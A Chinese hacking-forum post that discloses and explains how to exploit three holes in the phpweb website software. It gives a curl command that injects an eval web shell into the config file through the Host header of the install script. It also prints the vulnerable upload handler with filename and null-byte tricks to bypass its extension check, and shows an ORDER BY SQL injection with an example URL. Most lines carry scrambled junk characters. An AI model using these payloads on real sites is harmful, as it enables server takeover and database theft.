找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2973|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:
7 B/ k3 y# L6 r  n8 `2 A! i  S) G
7 c& o7 G" z3 T* x4 k之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码  G2 G* B- ?' e7 W
5 O2 K& O5 O+ W/ c2 f
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
! @  t4 {1 Z4 X8 t' d鸡肋2: 有一定安全常识的站长都会删掉 install 目录6 J- k7 `1 E# U: x0 I
' J! n) [# _( T( D) P
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
# P+ K4 X. }0 N: N" o
0 v% Z3 E, t, O+ V" j分析:
/ e" }( p7 x. k7 n4 O& M0 x
6 l; _; K2 i( p9 w/ T , h7 @; }4 ~1 y  C& d
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
6 z% d! Y7 M5 ^. n8 ^) X  ^! w
* b" k; E7 a$ Q2 o) {+ L                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);  q" H5 g% _" W9 m8 H3 b- \
                                            $filestr=str_replace(" ","",$filestr);( m: n( d! F$ K5 @1 N6 t0 i3 n
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);4 f: c2 S! R5 t$ v
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
# g' d9 h+ p0 S                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
; |0 Z  H; b. o! i. Q7 V3 [                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
/ G& C' ?. ~0 }, R1 ]) Z+ |8 d                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);) `/ D# F' V/ |- D# a# L0 V& b
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);5 U' u* x- W* g7 ?$ M9 |! V
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);! I, Z% {' L: P* I

9 L* B4 Z. L! ]! ~                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
4 B' S# v0 u% @" X6 ^$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
. C& b( [  ]7 h- v! J
& K1 z8 o8 v0 C+ X/ Fpoc:' A- q" e) x& f3 M- R
( I: F1 y5 d; @: }' H7 {
?
7 O- B/ m" f9 H0 A7 O1' [! j  o9 y+ y( E: A( _, ?
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"7 L9 a' H$ r) K. P4 B+ I9 ]( ^
shell地址: /config.inc.php
9 d4 \0 O4 O/ H6 u跟之前的 phpcms一样 需要远程数据库. o0 o& E- n0 [) m& E! T
: @- ?$ ~4 R; Z! j
——————————————————–
. C9 f3 y2 ]  z) I% {* T上传漏洞(需要进后台):4 F% F2 e9 M. T
漏洞文件: /kedit/upload_cgi/upload.php# z1 ]8 @* U2 c# L# T3 D; \" K: s
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用$ I* {% `3 s5 S! K* X

9 a: V' l6 r& x- A  d
5 ?/ Q* u% K, u! o" v6 R<?php
9 J% q9 }# r) L7 d, m2 F    define("ROOTPATH", "../../");+ U, S7 ~5 R/ a4 k3 ~) n) c/ Y
    include(ROOTPATH."includes/admin.inc.php");
" v" F& g. i  g    NeedAuth(0);7 G8 p: f) T8 ]

0 U( g6 v: c8 Q8 u    $dt=date("Ymd",time());
& O0 d& d7 `3 u' n: R2 P7 T* [" z    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
9 P& M0 H, [4 r4 [            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
) C1 o% Q% D) p    }
, E' D8 N, Q% b! c0 {5 k
; ^& }( f' `& i& E. ^    //文件保存目录路径( i  ~9 M5 s# S) v3 H
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
. @5 f  R7 _" Y5 S7 H* Q9 x% B    echo $save_path;
! B  H# R7 [2 M9 {( `3 z! ^    //文件保存目录URL
+ r2 E  g0 T! i# h  L( }    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
5 v3 p+ \6 y0 Y( g0 N! I( X5 r # Y! r3 q- ~: ^! ?9 H- g
    //定义允许上传的文件扩展名& j* T. Y( \+ O) W0 u- T) b
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
- G$ _) ]/ W0 V! {- K , J1 h$ A% G! K/ {9 B2 @
    //最大文件大小5 U" E) ?* B, e6 e0 ?# z+ Z/ L) ?1 q
    $max_size = 1000000;' z4 |. O7 X  h: c! ]. V
+ X! K9 j5 ^2 Q4 {. V
    //更改目录权限
! v7 V5 U) {2 h( r    @mkdir($save_path, 0777);% Q/ {' q# a& x1 r
' V- w' [3 g' [3 Z
    //文件的全部路径: J- g0 ~+ u# x5 Q. W' f/ U
    $file_path = $save_path.$_POST['fileName'];   //保存文件名
$ d: r5 ?4 J/ K( P
5 C7 n( b5 ~+ C    //文件URL- a9 L5 ^* f/ q" G' Q4 n+ d4 d! `
    $file_url = $save_url.$_POST['fileName'];; h! O1 B3 @' G& P6 B6 Y
//有上传文件时
; j' ?8 r: E, _- z4 \% ~, @' @    if (empty($_FILES) === false) {
8 y: j  }6 d' d, N* n' Z3 T
) L# @) q' Z8 P& i& N9 M            //原文件名
% x6 \8 G* u" B# E$ m  U            $file_name = $_FILES['fileData']['name'];: X! S& J8 J# ?
            //服务器上临时文件名
# F/ _1 O/ G2 R' D6 ]            $tmp_name = $_FILES['fileData']['tmp_name'];
( H! J  j; ~0 k' k/ F: {, N            //文件大小
' J& q+ e9 {$ F6 m            $file_size = $_FILES['fileData']['size'];
" q! M( h1 u4 P# m2 F            //检查目录
- Y' i# y9 U2 m5 Z4 ~: q& C            if (@is_dir($save_path) === false) {+ P# B6 R0 D. N7 @
                    alert("上传目录不存在。");
1 z7 z: ]" L3 l7 K& ^$ X+ e/ u1 F            }% x& `3 x1 a& K, [8 E' q2 J
            //检查目录写权限
' v; q8 u/ Y% @! d8 ~- q; g; l            if (@is_writable($save_path) === false) {3 Z  q# ^) W4 n5 I' {$ G) o
                    alert("上传目录没有写权限。");0 {2 a' [% c( q. F2 P
            }
& ?# P0 g6 [! @5 G            //检查是否已上传
# \  M/ E- x& o" X* S6 H2 [            if (@is_uploaded_file($tmp_name) === false) {0 d% u  J8 Q2 A! t9 T$ Z; v
                    alert("临时文件可能不是上传文件。");3 }: V- E% O8 K* N) C; p, ^
            }
7 @6 U* v9 w" I$ p: [9 H            //检查文件大小  K: O  q7 M4 T! ]4 n
            if ($file_size > $max_size) {8 D8 A( r+ k/ P9 G" K
                    alert("上传文件大小超过限制。");
* D; \9 ~" L, w# L/ _3 J; F            }
: ~$ d, f$ f9 }! q/ o% E0 l8 d; ]            //获得文件扩展名
" K6 }  Z+ K" c& b0 a5 g" x4 M3 c# R            $temp_arr = explode(".", $_POST['fileName']);" ]! a. _; H( J$ E/ _" G
            $file_ext = array_pop($temp_arr);2 i7 B  f$ L7 b
            $file_ext = trim($file_ext);3 B. E. k8 a, a! ~
            $file_ext = strtolower($file_ext);
6 p/ m# e- K7 V# H5 N & `+ h6 t' ~; u4 P( y
            //检查扩展名   , n0 U0 o/ A/ K" s7 {2 N
            if (in_array($file_ext, $ext_arr) === false) {     
* ], r% k0 @) r. o1 Q                    alert("上传文件扩展名是不允许的扩展名。");
$ B$ [( M5 e3 H- j6 Z5 N9 h8 L            }9 Q: t8 M: R8 L, x8 {# v& F, u
# K' T- P4 |& R! p( Z
            //移动文件   
# t9 z* D$ c* s2 `. Y) k            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
7 ~2 L6 }! K+ e, |9 ]9 v9 \            if (move_uploaded_file($tmp_name, $file_path) === false) {2 J# r4 u  R8 V! G
                    alert("上传文件失败。");
& w4 n* K4 v& W0 A            }
+ }3 G3 s" f9 j# k 6 n' W5 b0 z8 D& s, C% X% T7 s( A
            @chmod($file_path,0666);0 s5 @& ~6 n9 D& ?
; a, e8 j$ U; Z2 X. N! Z& Q
    ?>3 C9 O- r% e8 a0 x% P% L( d8 t
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=2277 }6 V8 W0 P+ V% P" U

5 C7 z& d' H) K0 T& f# \apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过1 d1 ?  k3 X/ q& o; G9 ~$ W" G

6 M) i) T% N2 |2 C——————————————————( U) H# o# }, T
注入漏洞:
2 y& R' C/ N5 @. U6 Q5 l漏洞文件:search/module/search.php% ?6 Y! h. t9 y  w" Y( `
/search/index.php?key=1&myord=1 [sqlinjection]
4 N- R. @4 U% g+ i& S# N
7 X, I/ u" t- Y- ~9 i+ u / r; ?% N4 d# G+ L
<?php
& c. l2 L) `. L; P* m, L' ^   //       ... 省略 n 行...# H* R) _. B3 N% T1 o2 G
   //第18行:
. v/ z* Z: w6 O: w( L, r" Q/ Q           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
& O; N5 p7 r' v9 y9 ?, D           $page=htmlspecialchars($_GET["page"]);. E0 u6 w! {, G" B$ k8 B4 h; k
           $myord=htmlspecialchars($_GET["myord"]);8 o# w' ]  x! T* |* U8 m
- [& n. h$ Q  [/ i, \+ E  O
   //       ... 省略 n 行.../ M9 k# r) \; k; M) g! _
   $key,$myord 两个参数带入查询
7 m0 }5 D: \! q" B" X- S   //第47行 $key:& e/ A1 s$ P! D7 \. |8 C) G& b
: z" Q* D$ B+ u5 H  n; W" E5 q
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..4 K; l' A0 P0 ~) o: k1 A

  g9 L+ f0 ?$ E; ~2 }2 x! N   //第197行 $myord
) [$ P) h0 q' n1 @! e   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入9 T# U, g/ ]7 p% n6 p

/ [3 q6 u6 g( ^* m6 p" _7 G3 M' q   ?>9 T4 s$ L7 u7 ]1 h6 W( _2 I
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表